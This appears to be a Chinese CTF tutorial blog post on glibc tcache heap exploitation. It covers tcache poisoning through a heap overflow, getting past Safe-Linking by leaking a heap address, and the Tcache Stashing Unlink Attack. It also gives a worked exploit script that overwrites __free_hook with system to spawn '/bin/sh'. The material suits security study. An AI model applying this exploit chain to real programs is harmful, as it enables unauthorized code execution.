当前位置: 首页 > news >正文

【学习记录】Week10(三):Tcache 溢出与扩展利用——单链表劫持与高版本绕过

写在前面:在上一篇中,我们重温了经典的 Unlink 利用,学习了如何通过堆溢出覆盖双向链表的fd/bk指针实现任意地址写。随着 glibc 2.26 引入 Tcache,堆的管理机制发生了翻天覆地的变化。Tcache 像一个“快速通道”,优先处理小内存的分配和释放,且几乎没有安全校验。今天,我们将探讨在 Tcache 时代,堆溢出如何直接劫持这条单链表,以及在高版本 glibc 中如何结合新特性进行扩展利用。

📑 目录

  1. Tcache 机制回顾与溢出优势
  2. 基础利用:Tcache Poisoning(溢出版)
  3. 高版本绕过:Safe-Linking 机制与堆地址泄露
  4. 扩展利用:Tcache Stashing Unlink Attack
  5. 实战演练:构造高版本 Tcache 溢出链
  6. 总结与下篇预告

1. Tcache 机制回顾与溢出优势

1.1 Tcache 结构简析

Tcache(Thread Local Caching)为每个线程维护了一个本地的空闲链表数组。在 64 位系统中,它默认管理 0x20 到 0x410 大小的 chunk。
核心结构如下:

typedef struct tcache_entry { struct tcache_entry *next; struct tcache_perthread_struct *key; // glibc 2.29+ 引入,用于检测 double free } tcache_entry; typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; // 每个_bin的chunk计数 tcache_entry *entries[TCACHE_MAX_BINS]; // 单链表头指针数组 } tcache_perthread_struct;

Tcache 链表是一个单链表,遵循后进先出(LIFO)原则。释放时 chunk 插入链表头部,分配时从链表头部取出。

1.2 为什么 Tcache 下的溢出更简单?

在传统的 Unlink 利用中,我们需要构造复杂的双向链表并绕过FD->bk == P的检查。而在 Tcache 机制下:

  1. 无双向链表检查:Tcache 是单链表,只需要修改next指针,没有任何指针完整性校验(在 glibc 2.32 之前)。
  2. 优先级最高:只要 Tcache 对应的 bin 中有 chunk,malloc会直接从 Tcache 取,不会经过 fastbin 或 unsorted bin 的复杂逻辑。
  3. 直接劫持:只要我们能通过溢出覆盖 Tcache 链表头部 chunk 的next指针,下一次malloc就会返回我们伪造的任意地址。

2. 基础利用:Tcache Poisoning(溢出版)

Tcache Poisoning(Tcache 投毒)是指通过漏洞修改 Tcache 链表中 chunk 的next指针,使其指向任意地址,从而在后续分配时获取该地址的控制权。如果是通过堆溢出实现的,就称为 Tcache 溢出利用。

2.1 利用原理

假设当前 Tcache 链表(大小 0x90)状态为:head -> chunk_A -> NULL
如果我们通过堆溢出(比如溢出 chunk_A 前面的 chunk),覆盖了 chunk_A 的next指针,将其改为target_addr
链表状态变为:head -> chunk_A -> target_addr

此时:

  1. 第一次malloc(0x80):返回chunk_A,链表头变为target_addr
  2. 第二次malloc(0x80)返回target_addr

2.2 利用流程图

堆布局: [可控 Chunk] [Tcache Chunk A]

利用溢出覆盖 Chunk A 的 next 指针
next = target_addr

链表状态: head -> A -> target_addr

第一次 malloc(size)

返回 Chunk A
链表头变为 target_addr

第二次 malloc(size)

返回 target_addr
实现任意地址写

3. 高版本绕过:Safe-Linking 机制与堆地址泄露

随着 glibc 版本的升级,Tcache 的安全性也在增强。在 glibc 2.32 中,引入了Safe-Linking机制,对 Tcache(和 fastbin)的next指针进行了加密。

3.1 Safe-Linking 原理

该机制将 chunk 的next指针与其自身地址的高 12 位(实际上是地址右移 12 位)进行异或运算后存储。

// 存储时 #define PROTECT_PTR(pos, ptr) ((void *)((((size_t)pos) >> 12) ^ ((size_t)ptr))) // 读取时 #define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)

目的:为了防止攻击者在不知道堆地址的情况下直接伪造next指针(例如直接写入一个 GOT 表地址)。现在,如果你要伪造next指向target_addr,你必须知道当前 chunk 的真实地址,计算(chunk_addr >> 12) ^ target_addr并写入。

3.2 绕过方法:泄露堆地址

要绕过 Safe-Linking,核心是获取堆基址或某个堆块地址
通常的方法是:

  1. 利用 UAF 或未初始化漏洞,泄露一个堆块中的next指针(加密后的值)。
  2. 由于next(chunk_addr >> 12) ^ next_chunk_addr,如果该 chunk 是链表末尾(next实际为 0),则加密后的值就是(chunk_addr >> 12)
  3. 通过这个值恢复出堆地址的高位(右移 12 位的值)。
  4. 在溢出构造 payload 时,使用泄露的堆地址计算出正确的异或密文:encrypted_next = (leaked_heap_base << 12) ^ target_addr

4. 扩展利用:Tcache Stashing Unlink Attack

当程序使用calloc分配内存时(calloc不从 Tcache 获取 chunk),或者当 Tcache 满了,chunk 会进入 smallbin。当从 smallbin 中取出 chunk 时,如果对应大小的 Tcache bin 未满,glibc 会将 smallbin 中剩余的 chunk 放入 Tcache 中。这个“stash”(暂存)过程存在一个经典的利用链:Tcache Stashing Unlink Attack

4.1 触发条件

  1. 存在堆溢出,能修改 smallbin 中最后一个 chunk 的bk指针。
  2. 对应大小的 Tcache bin 未满(通常需要先填满再释放几个,或控制 counts)。
  3. 使用calloc触发从 smallbin 的分配。

4.2 利用原理

当从 smallbin 取出最后一个 chunk(设为 victim)时,如果 Tcache 还有空位,glibc 会遍历 smallbin 剩余的 chunk 并放入 Tcache。遍历的依据是 victim 的bk指针。

// glibc 源码片段 bck = victim->bk; bin->bk = bck; bck->fd = bin; // 关键漏洞点:向 bck->fd 写入 bin 的地址 // 随后 victim 被放入 Tcache tcache_put(victim);

如果我们通过溢出,将 victim 的bk修改为target_addr - 0x10(在 64 位下,fd字段在 chunk 头部偏移 0x10 处)。
那么执行bck->fd = bin时,就会向target_addr写入一个 main_arena 的地址(即 libc 地址)。

同时,由于后续的 stash 逻辑,target_addr也会被作为一个 chunk 放入 Tcache 链表。这意味着我们不仅实现了向任意地址写入 libc 地址,还实现了将任意地址加入 Tcache 链表,后续可以通过malloc获取该地址。

4.3 应用场景

  • 修改global_max_fast:将其改写为一个很大的值(libc 地址通常很大),使得很大的 chunk 也能被当作 fastbin 处理,从而利用 fastbin attack。
  • 伪造_IO_list_all:为 FSOP(File Stream Oriented Programming)攻击做准备。

5. 实战演练:构造高版本 Tcache 溢出链

让我们结合前面的知识,构造一个在 glibc 2.32 环境下的 Tcache 溢出利用伪代码。

5.1 场景设定

  • glibc 版本:2.32(启用 Safe-Linking)
  • 漏洞edit函数存在堆溢出,可以修改下一个 chunk 的内容。
  • 目标:通过 Tcache Poisoning 分配到__free_hook,覆盖为system

5.2 利用步骤与 Payload 构造

步骤 1:泄露堆地址

# 1. 分配并释放一个 chunk 进入 Tcache add(0, 0x28) # chunk A free(0) # chunk A 进入 Tcache[0x30] # 2. 利用 UAF 或 show 功能读取 chunk A 的 next 指针 # 此时 A 是链表尾,next 实际为 0,加密后存储为 (A_addr >> 12) ^ 0 leaked_ptr = show(0) heap_key = u64(leaked_ptr.ljust(8, b'\x00')) # 这就是 A_addr >> 12

步骤 2:布置堆块

# 分配 chunk B, C, D # B 用于溢出,C 是目标 Tcache chunk,D 防止合并 add(1, 0x28) # chunk B (与 A 重合或新分配,看具体题目逻辑) add(2, 0x28) # chunk C (将被 free 进 Tcache) add(3, 0x28) # chunk D # 释放 C,此时 Tcache[0x30]: head -> C -> (如果A还在则连A) free(2)

步骤 3:构造溢出 Payload
假设我们要让malloc返回__free_hook的地址。
我们需要覆盖 chunk C 的next指针。由于 Safe-Linking,我们要写入的值是:
encrypted_next = (heap_key) ^ __free_hook_addr(注意:heap_key实际上是 C 的地址右移 12 位,如果 C 的地址和 A 不同,需要计算偏移。假设我们泄露的就是 C 的地址的 key)。

free_hook_addr = libc_base + libc.sym['__free_hook'] # 假设泄露的 heap_key 就是 chunk C 对应的 key (C_addr >> 12) # 如果不是,需要根据堆布局推算 C_addr c_addr_key = heap_key # 简化场景 encrypted_next = c_addr_key ^ free_hook_addr # 构造溢出 payload payload = b'A' * 0x28 # 填满 chunk B payload += p64(0) + p64(0x31) # 伪造 chunk C 的 header (prev_size + size) payload += p64(encrypted_next) # 覆盖 chunk C 的 next 指针 edit(1, payload) # 触发溢出

步骤 4:触发分配获取 Hook

# 第一次 malloc 返回 chunk C add(4, 0x28) # 第二次 malloc 返回 __free_hook add(5, 0x28) # 此时 chunk 5 的指针指向 __free_hook # 向 chunk 5 写入 system 地址 edit(5, p64(libc_base + libc.sym['system'])) # 释放一个包含 "/bin/sh" 的 chunk,触发 system("/bin/sh") add(6, 0x28, b'/bin/sh\x00') free(6)

6. 总结与下篇预告

6.1 核心知识点总结

  1. Tcache 简化了利用:单链表结构且无校验,使得堆溢出覆盖next指针即可实现任意地址分配,无需复杂的 Unlink 绕过。
  2. Safe-Linking 是新屏障:glibc 2.32 引入的指针加密机制,要求必须泄露堆地址(右移 12 位的值)才能正确伪造next指针。
  3. Tcache Stashing Unlink Attack:利用calloc不走 Tcache 的特性,结合 smallbin 到 Tcache 的暂存机制,实现向任意地址写入 libc 地址并加入 Tcache 链表的高级利用。
  4. 溢出的核心作用:在 Tcache 体系下,溢出主要用于篡改链表指针(next)或篡改 smallbin 指针(bk),从而劫持内存分配流。

6.2 下篇预告

下一篇,我们将迎来 Week10 的收官之战——综合练习:off-by-one + tcache 组合题。我们将结合第一篇的 Off-by-one 漏洞和本篇的 Tcache 利用,模拟一道完整的 CTF PWN 题目,从漏洞分析、堆布局设计到最终 EXP 构造,手把手实战演练!

最终结论:Tcache 机制既是福音也是诅咒。它极大地简化了小内存堆漏洞的利用路径,但也催生了如 Safe-Linking 等新的防护机制。掌握 Tcache 溢出利用,是现代 CTF PWN 选手的必备技能,也是理解高版本 glibc 堆利用的关键。

参考文献

  1. CTF Wiki - Heap Exploitation: Tcache
  2. glibc 2.32 Safe-Linking 机制分析
  3. Tcache Stashing Unlink Attack 原理与利用
http://www.cnnetsun.cn/news/3133079.html

相关文章:

  • Qwable-9B模型实战教程:用GGUF格式在本地部署高性能AI代码助手
  • Numactl项目中CPU亲和性设置失效问题分析
  • 非标设备运动控制:直线模组与直线电机核心技术解析
  • 模拟人工智能(Simulated Artificial Intelligence, SAI):一种工程化认知架构的理论范式
  • Exercises Dataset多平台适配:响应式设计与跨平台开发完整指南
  • 计算机毕业设计之基于用户行为的个性化推荐机票推荐系统
  • TVA:具身智能的动力引擎与能力底座(系列)
  • d3-annotation常见问题解答:从安装到部署的全方位解决方案
  • Windmill React UI组件最佳实践:10个提升用户体验的实用技巧
  • WebdriverIO v9多窗口自动化测试:解决切换后getUrl失效的完整方案
  • 新能源汽车热管理系统核心零部件及工作原理详解
  • 嵌入式系统按键管理:74HC32与PIC24FV16KA301高效方案
  • cann/mat-chem-sim-pred PID窗口残差诊断算法
  • Jina Reader终极指南:7个高效技巧让LLM输入质量翻倍
  • 秒懂Flink:Flink分区策略与数据倾斜解决方案
  • Agent Skills技能性能分析:使用Profiling工具优化技能执行
  • AI测试新范式:从算法崇拜到工程融合的实战驯化指南
  • OpenBatteryInformation:基于Arduino的BMS修复工具技术实现方案
  • IpaDownloadTool常见问题:解决IPA提取失败的7种方法
  • Node.js原生模块编译的终极指南:掌握node-gyp构建工具
  • 探索Moonshine Voice:如何在边缘设备上实现5倍于Whisper的实时语音识别性能
  • 如何永久保存微信聊天记录:终极免费工具完全指南
  • Bosca Ceoil Blue完整教程:从零开始制作专业级音乐
  • JoyAI-Image-Edit-Plus模型细节大公开:京东自研技术如何引领多模态编辑新潮流
  • BepInEx游戏插件框架:5分钟快速安装与终极配置指南
  • 从源码构建AzaharPlus:完整开发者指南助你定制专属模拟器
  • 从零开始:5个关键环节掌握yuzu Switch模拟器配置,让电脑变身游戏主机
  • Lucky:一款全能型软硬路由神器,轻松搞定公网访问与智能家居控制
  • jinjava测试策略:如何编写可靠的模板单元测试
  • Blazingly-fast AI聊天新纪元:开源免费应用chat0全面解析